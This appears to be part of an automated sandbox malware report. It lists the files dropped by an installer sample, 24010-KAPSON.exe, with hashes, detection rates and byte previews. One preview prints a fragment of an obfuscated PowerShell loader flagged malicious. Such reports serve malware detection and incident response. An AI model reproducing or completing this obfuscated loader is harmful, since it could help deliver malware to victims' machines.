SHA-512:	8C2CB53CCF9719DE87EE65ED2E1947E266EC7E8343246DEF6429C6DF0DC514079F5171ACD1AA637276256C607F1063144494B992D4635B01E09DDEA6F5EEF204
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....L............!.........................0...............................@.......i....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v.....................L.........:...d...d.........L.........d.................L.....................RSDS6..>[d.=. ....C....api-ms-win-crt-runtime-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02......................L.....f.......k...k...8...............................4...S...s.......................E...g.......................)...N...n...................&...E...f...................'...D...j.......................>.......

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-stdio-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	24368
Entropy (8bit):	6.873960147000383
Encrypted:	false
SSDEEP:	384:GZpFVhjWPhWxEi00GftpBjmjjem3Cl1z6h1r:eCfoi0espbr
MD5:	FEFB98394CB9EF4368DA798DEAB00E21
SHA1:	316D86926B558C9F3F6133739C1A8477B9E60740
SHA-256:	B1E702B840AEBE2E9244CD41512D158A43E6E9516CD2015A84EB962FA3FF0DF7
SHA-512:	57476FE9B546E4CAFB1EF4FD1CBD757385BA2D445D1785987AFB46298ACBE4B05266A0C4325868BC4245C2F41E7E2553585BFB5C70910E687F57DAC6A8E911E8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................0...............................@.......)....@.............................a............0..............."..0=..............T............................................................................text...a........................... ..`.rsrc........0......................@..@v...............................8...d...d...................d.......................................RSDS...iS#.hg.....j....api-ms-win-crt-stdio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg.......a....edata...0..`....rsrc$01....`0.......rsrc$02................^...............(....... ...................<...y...........)...h........... ...]...............H...............)...D...^...v...............................T...u.......................9...Z...{...................0...Q...

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-string-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	23488
Entropy (8bit):	6.840671293766487
Encrypted:	false
SSDEEP:	384:5iFMx0C5yguNvZ5VQgx3SbwA7yMVIkFGlnWPhWGTi00GftpBjslem89lgC:56S5yguNvZ5VQgx3SbwA71IkFv5oialj
MD5:	404604CD100A1E60DFDAF6ECF5BA14C0
SHA1:	58469835AB4B916927B3CABF54AEE4F380FF6748
SHA-256:	73CC56F20268BFB329CCD891822E2E70DD70FE21FC7101DEB3FA30C34A08450C
SHA-512:	DA024CCB50D4A2A5355B7712BA896DF850CEE57AA4ADA33AAD0BAE6960BCD1E5E3CEE9488371AB6E19A2073508FBB3F0B257382713A31BC0947A4BF1F7A20BE4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......S...........!.........................0...............................@......B.....@..........................................0..............."...9..............T............................................................................text............................... ..`.rsrc........0......................@..@v......................S........9...d...d..........S........d..................S....................RSDSI.......$[~f..5....api-ms-win-crt-string-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................S....,...............8...........W...s.......................#...B...a...........................<...[...z.......................;...[...{................... ...A...b...........................<...X...r.......

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-time-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.018061005886957
Encrypted:	false
SSDEEP:	384:8ZSWWVgWPhWFe3di00GftpBjnlfemHlUG+zITA+0:XRNoibernAA+0
MD5:	849F2C3EBF1FCBA33D16153692D5810F
SHA1:	1F8EDA52D31512EBFDD546BE60990B95C8E28BFB
SHA-256:	69885FD581641B4A680846F93C2DD21E5DD8E3BA37409783BC5B3160A919CB5D
SHA-512:	44DC4200A653363C9A1CB2BDD3DA5F371F7D1FB644D1CE2FF5FE57D939B35130AC8AE27A3F07B82B3428233F07F974628027B0E6B6F70F7B2A8D259BE95222F5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....OI...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v....................OI........7...d...d........OI........d................OI....................RSDS...s..,E.w.9I..D....api-ms-win-crt-time-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.........OI............H...H...(...H...h... ...=...\...z.......................8...V...s.......................&...D...a...~.......................?...b.......................!...F...k.......................0...N...k...................

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-utility-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.127951145819804
Encrypted:	false
SSDEEP:	192:QqfHQdu3WIghWG4U9lYdsNtL/123Ouo+Uggs/nGfe4pBjSb8Z9Wh0txKdmVWQ4Cg:/fBWPhWF+esnhi00GftpBjLBemHlP55q
MD5:	B52A0CA52C9C207874639B62B6082242
SHA1:	6FB845D6A82102FF74BD35F42A2844D8C450413B
SHA-256:	A1D1D6B0CB0A8421D7C0D1297C4C389C95514493CD0A386B49DC517AC1B9A2B0
SHA-512:	18834D89376D703BD461EDF7738EB723AD8D54CB92ACC9B6F10CBB55D63DB22C2A0F2F3067FE2CC6FEB775DB397030606608FF791A46BF048016A1333028D0A4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....!5............!......................... ...............................0.......4....@.............................^............ ..................8=..............T............................................................................text...n........................... ..`.rsrc........ ......................@..@v....................!5.........:...d...d........!5.........d................!5.....................RSDS............k.....api-ms-win-crt-utility-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......^....edata... ..`....rsrc$01....` .......rsrc$02.....................!5.....d...............8.......(...................#...<...U...l...............................+...@...[...r...................................4...I..._.......................3...N...e...\|.......................

C:\Users\user\AppData\Local\Temp\B388C266\freebl3.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	332752
Entropy (8bit):	6.8061257098244905
Encrypted:	false
SSDEEP:	6144:C+YBCxpjbRIDmvby5xDXlFVJM8PojGGHrIr1qqDL6XP+jW:Cu4Abg7XV72GI/qn6z
MD5:	343AA83574577727AABE537DCCFDEAFC
SHA1:	9CE3B9A182429C0DBA9821E2E72D3AB46F5D0A06
SHA-256:	393AE7F06FE6CD19EA6D57A93DD0ACD839EE39BA386CF1CA774C4C59A3BFEBD8
SHA-512:	827425D98BA491CD30929BEE6D658FCF537776CE96288180FE670FA6320C64177A7214FF4884AE3AA68E135070F28CA228AFB7F4012B724014BA7D106B5F0DCE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L......Z.........."!.........f...............................................p......o.....@.............................P...`........@..p....................P..........T...........................8...@...............8............................text...U........................... ..`.rdata..............................@..@.data...lH..........................@....rsrc...p....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B388C266\mozglue.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	139216
Entropy (8bit):	6.841477908153926
Encrypted:	false
SSDEEP:	3072:8Oqe98Ea4usvd5jm6V0InXx/CHzGYC6NccMmxK3atIYHD2JJJsPyimY4kQkE:Vqe98Evua5Sm0ux/5YC6NccMmtXHD2JR
MD5:	9E682F1EB98A9D41468FC3E50F907635
SHA1:	85E0CECA36F657DDF6547AA0744F0855A27527EE
SHA-256:	830533BB569594EC2F7C07896B90225006B90A9AF108F49D6FB6BEBD02428B2D
SHA-512:	230230722D61AC1089FABF3F2DECFA04F9296498F8E2A2A49B1527797DCA67B5A11AB8656F04087ACADF873FA8976400D57C77C404EBA4AFF89D92B9986F32ED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."yQ.f.?Mf.?Mf.?Mo`.Mv.?M.z>Lb.?M...Md.?M.z<Lh.?M.z;Lm.?M.z:Lu.?MDx>Lo.?Mf.>M..?M.{1Lu.?M.{?Lg.?M.{.Mg.?M.{=Lg.?MRichf.?M................PE..L......Z.........."!.........................................................@............@.............................\...L...,.... ..p....................0......p...T...............................@...................T...@....................text............................... ..`.rdata...b.......d..................@..@.data...............................@....rsrc...p.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B388C266\msvcp140.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B388C266\nss3.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1244112
Entropy (8bit):	6.809431682312062
Encrypted:	false
SSDEEP:	24576:XDI7I4/FeoJQuQ3IhXtHfjyqgJ0BnPQAib7/12bg2JSna5xfg0867U4MSpu731hn:uQ3YX5jyqgynPkbd24VwMSpu7Fhn
MD5:	556EA09421A0F74D31C4C0A89A70DC23
SHA1:	F739BA9B548EE64B13EB434A3130406D23F836E3
SHA-256:	F0E6210D4A0D48C7908D8D1C270449C91EB4523E312A61256833BFEAF699ABFB
SHA-512:	2481FC80DFFA8922569552C3C3EBAEF8D0341B80427447A14B291EC39EA62AB9C05A75E85EEF5EA7F857488CAB1463C18586F9B076E2958C5A314E459045EDE2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........x..c+..c+..c+...+..c++.b..c+lh.+..c++.`..c++.f..c++.g..c+.b..c+9.b..c+..b+..c+9.k..c+9.gC.c+9.c..c+9..+..c+9.a..c+Rich..c+................PE..L...a..Z.........."!................T........................................@............@.............................d....<..T.......h.......................t~..0...T...............................@............................................text............................... ..`.rdata...P.......R..................@..@.data....E...`... ...:..............@....rsrc...h............Z..............@..@.reloc..t~...........^..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B388C266\nssdbm3.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	92624
Entropy (8bit):	6.639368309935547
Encrypted:	false
SSDEEP:	1536:5vNGVOt0VjOJkbH8femxfRVMNKBDuOQWL1421GlkxERC+ANcFZoZ/6tNRCwI41ZH:hNGVOiBZbcGmxXMcBqmzoCUZoZebHZMw
MD5:	569A7A65658A46F9412BDFA04F86E2B2
SHA1:	44CC0038E891AE73C43B61A71A46C97F98B1030D
SHA-256:	541A293C450E609810279F121A5E9DFA4E924D52E8B0C6C543512B5026EFE7EC
SHA-512:	C027B9D06C627026774195D3EAB72BD245EBBF5521CB769A4205E989B07CB4687993A47061FF6343E6EC1C059C3EC19664B52ED3A1100E6A78CFFB1C46472AFB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Z.Y.4.Y.4.Y.4.P...U.4...5.[.4..y.Q.4...7.X.4...1.S.4...0.R.4.{.5.[.4...5.Z.4.Y.5...4...0.A.4...4.X.4....X.4...6.X.4.RichY.4.........................PE..L......Z.........."!.........0...............0............................................@..........................?.......@.......`..p............L.......p.......:..T...........................(;..@............0..X............................text............................... ..`.rdata..4....0... ..................@..@.data........P.......>..............@....rsrc...p....`.......@..............@..@.reloc.......p.......D..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B388C266\softokn3.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144336
Entropy (8bit):	6.5527585854849395
Encrypted:	false
SSDEEP:	3072:zAf6suip+z7FEk/oJz69sFaXeu9CoT2nIZvetBWqIBoE9Mv:Q6PpsF4CoT2EeY2eMv
MD5:	67827DB2380B5848166A411BAE9F0632
SHA1:	F68F1096C5A3F7B90824AA0F7B9DA372228363FF
SHA-256:	9A7F11C212D61856DFC494DE111911B7A6D9D5E9795B0B70BBBC998896F068AE
SHA-512:	910E15FD39B48CD13427526FDB702135A7164E1748A7EACCD6716BCB64B978FE333AC26FA8EBA73ED33BD32F2330D5C343FCD3F0FE2FFD7DF54DB89052DB7148
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L......Z.........."!.........`...............................................P......+Z....@..........................................0..p....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...C.......D..................@..@.data........ ......................@....rsrc...p....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B388C266\ucrtbase.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142072
Entropy (8bit):	6.809041027525523
Encrypted:	false
SSDEEP:	24576:bZBmnrh2YVAPROs7Bt/tX+/APcmcvIZPoy4TbK:FBmF2lIeaAPgb
MD5:	D6326267AE77655F312D2287903DB4D3
SHA1:	1268BEF8E2CA6EBC5FB974FDFAFF13BE5BA7574F
SHA-256:	0BB8C77DE80ACF9C43DE59A8FD75E611CC3EB8200C69F11E94389E8AF2CEB7A9
SHA-512:	11DB71D286E9DF01CB05ACEF0E639C307EFA3FEF8442E5A762407101640AC95F20BAD58F0A21A4DF7DBCDA268F934B996D9906434BF7E575C4382281028F64D4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E..............o........p..................................................................Rich............................PE..L....3............!.....Z...........=.......p...............................p............@A........................`................................0..8=......$... ...T...........................H...@............................................text....Z.......Z.................. ..`.data........p.......^..............@....idata..6............l..............@..@.rsrc...............................@..@.reloc..$...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B388C266\vcruntime140.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4unhdueo.1ue.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hrrdgtbs.pty.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jw3edubc.pm1.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rzwm3drj.tww.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\24010-KAPSON.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	690938
Entropy (8bit):	7.617511247868702
Encrypted:	false
SSDEEP:	12288:4gkvgwxIGuSJcBVWjjWVtW9bhdJHGmCn2kxAPZM:4gk1OGT9ufW9bpU2wAhM
MD5:	EF470B3A08DD421F59AB4C049AEC86B3
SHA1:	2BEC03CB32DAEE7BAB4E0A31ED442759B8271EA3
SHA-256:	2EB5A21F2B8714B860506C854CF1ADA5D07393B827E9CF362EDB4CCD9DFF5D74
SHA-512:	D5E82650265EDA6E5D194AC083C6CDFA1FA6294EB03217E8C9CB90337BDA583BD678F30E31F45CDFCDAB988474CFDC46596EFD18AB358E70A80C0FC40671CB23
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....$_.................f...*.......5............@..........................`............@..........................................p..(............................................................................................................text...re.......f.................. ..`.rdata...............j..............@..@.data...x............~..............@....ndata...................................rsrc...(....p......................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\24010-KAPSON.exe:Zone.Identifier

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\Fala.fol

Download File

Process:	C:\Users\user\Desktop\24010-KAPSON.exe
File Type:	data
Category:	dropped
Size (bytes):	79889
Entropy (8bit):	1.2459174766414733
Encrypted:	false
SSDEEP:	768:dtb6vnhm+Qlzzfnkg/IW47cm86wrVMM/8:kX2zAVuSG4
MD5:	51BF084B6F7F98023E84106F9CDB13E0
SHA1:	3F2659809833010A6D51B9E81AAC2F6F054A32A5
SHA-256:	B90CB4FDD8BD3ED7B193FFE9D6DF6F3FC1DFE34CBA95ECD4F248110941A762C6
SHA-512:	0527B568828032779CEB0765A66901C10C5E2FFDFC6EB1888A7FCB7EC1F95BBBDA817413699DC58F4E2AC0E26BC6ACC72C613FFB4C1403F17D522442D677C25F
Malicious:	false
Preview:	..................................o........................X..........................9.......u.V............Y.....................................................................B................c.........................................................\|...._..................................j................,...................................................#........................................................................................0......-.................................a.$...........:...................9...................................H..........................................\......................................................[.............................................C........................./...................................,.......................................l.........................................s.z.....O................!..8......w...........*................M..............8........}..........................................................

C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\Ip.Udp84

Download File

Process:	C:\Users\user\Desktop\24010-KAPSON.exe
File Type:	data
Category:	dropped
Size (bytes):	320800
Entropy (8bit):	7.663474986870603
Encrypted:	false
SSDEEP:	6144:3akfmObRH9Ws6nNXCyUJVzFRRN3TiW5xoFoLmp8Stw4GHCNMi:3Znbh9WsYXCy0xFRRx8oqjjGH2B
MD5:	838458DE1FE90BFC387C9C42AD867693
SHA1:	E3EE3B30C802D627EE3505026413AD0994BFB28A
SHA-256:	9A46C26851ACFAA85C4944A434FB47EDE04CF7EE51F01B69856BBAB3E1720E6B
SHA-512:	83D523BB0920941BA4B44558FD7A3D5B18399564C404280D26F02988E516D8A53AB723CFC70DA10D38819BE1C8AB36B4AA03D5F0DCD79D0CB0DFB06644E2CBFD
Malicious:	false
Preview:	......55.NNNNNN.....................................sss..r...........MM......a.....o...GGG.00000.............rr................>.................................n.....!!!...............T...........................L...9.............pppp......nnnnn...00...U.........22222....<<......e.....5555.................ee..z.........7.....#...........................................M.###.........pp.........$$$.$$$..........@..??.11.l...........>.....&.A.)........ttt.{.................y..............dddd.........y....nnnnn.............^^...........C......LL.FFFF.........u...QQ.............................!.....SSS.............&.........................7.------.O.......................]..............^.....?..................KK.......................H........KK......mm..RR.6...................h..........f..................F....)).......HH.........NNN.T........C.......................BB....................L..ll.....ii..................jj..............d..................9.cc.....N..ccccccc............

C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\Presbyophrenic.Int

Download File

Process:	C:\Users\user\Desktop\24010-KAPSON.exe
File Type:	Unicode text, UTF-8 text, with very long lines (4111), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	68706
Entropy (8bit):	5.192921870232967
Encrypted:	false
SSDEEP:	1536:XukVzPYXd7faFx+WXgqjYRrmp006ZgDbnAPOLGzJ4Q+Yl+8:hV0XdTg+WYFmdnoOLGzJqYlV
MD5:	F527B221F2EA2866CB3E3512A9649D58
SHA1:	5FA78903A0713A0308E668B3F434551F4E07FAC3
SHA-256:	C9443F2A23509F3147557A24178935AADDD4A9FB206E8761A6238D926C3ED831
SHA-512:	194065AA1264DDCC3FFFE9C9E5227D9602366D8161D64FD5AA814DC75801D964D11B0FE90CB224F6DCA3CA5568246D1C61705E21A59F3BD4C16BC47D5D014A2B
Malicious:	true
Preview:	$Vildas=$Disentrammel;........$Epistomian = @'.Smoking.Haandvr$Pirat oTThe,iskaHespe,lrTilspidiTanzibvf Alvaref C meup=Cap,lin$JunisabNGang,ron eteorssPu poseo Afraknm TrommetOverst.nSor,lisaN tkortlFilhaang uxhensiaut mpncR,arres; Fasank. rnrretfMuldyreuDu tfaln Vadehac Retas,tOverpuriReindoco rystalnIban es Isoler ROctactihDomfldeiProchonndiff.seoSydkoresTamab lc.ystemioAfskibep AcheroiSirupskcSandbls Plebeia( B nvar$ PlatanNKam tomnSubornaspassa eoLezannemUndvrett Nsende,Evoleri$ ganespESovseskx Kraft cTashinal Stje nu,rkplassAdmensniEnginouoForfl enChurre,ePi ylcorD markasAll.cht)Untippl E,ektr{Tnkeev..Ekspatr.udvan.e$ DwelliSStewardlBefuldmoHimmeritVold ratUnreadiiUnagi anTraumatgForfatn Chazze(A lanteUAureou dTalonicmCranebiaKvarterlVitaminiAmphetanProselegsocialisBra.ddapSovehj.rmesonasoOver recSilexese carnifn UkultutSerologestrmfornInterje Fabulan'gadenrr,Stridske MicrocpPseudosrKraftvaoStegheds ForsikaTestsig$NonarciFPartici OverurgrStrandvepbelagttSpe ialhFritnkeoSdladneN

C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\knesset.opd

Download File

Process:	C:\Users\user\Desktop\24010-KAPSON.exe
File Type:	DIY-Thermocam raw data (Lepton 2.x), scale -17698-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 0.000000, slope 2658455991569831745807614120560689152.000000
Category:	dropped
Size (bytes):	380113
Entropy (8bit):	1.2580701752504053
Encrypted:	false
SSDEEP:	768:vueGW9GGeZOhJMOqSiV0XziY+U6l1O5Cr3g5H4DfmRTLcqK1t8Ia5SUMRvLorCV9:OvVaobBw/8/+xaM1c7OLxxSdkMqWMz
MD5:	2CE92AB3AE47FD2DD349F1DAFF5BE0C9
SHA1:	21336A3BBE73B7EBD7E83089E869C10A0E1D2D2E
SHA-256:	B0A3076927FDC3B77A44D179D851C87B441725563A08A7DE8ED4C172AE458DBB
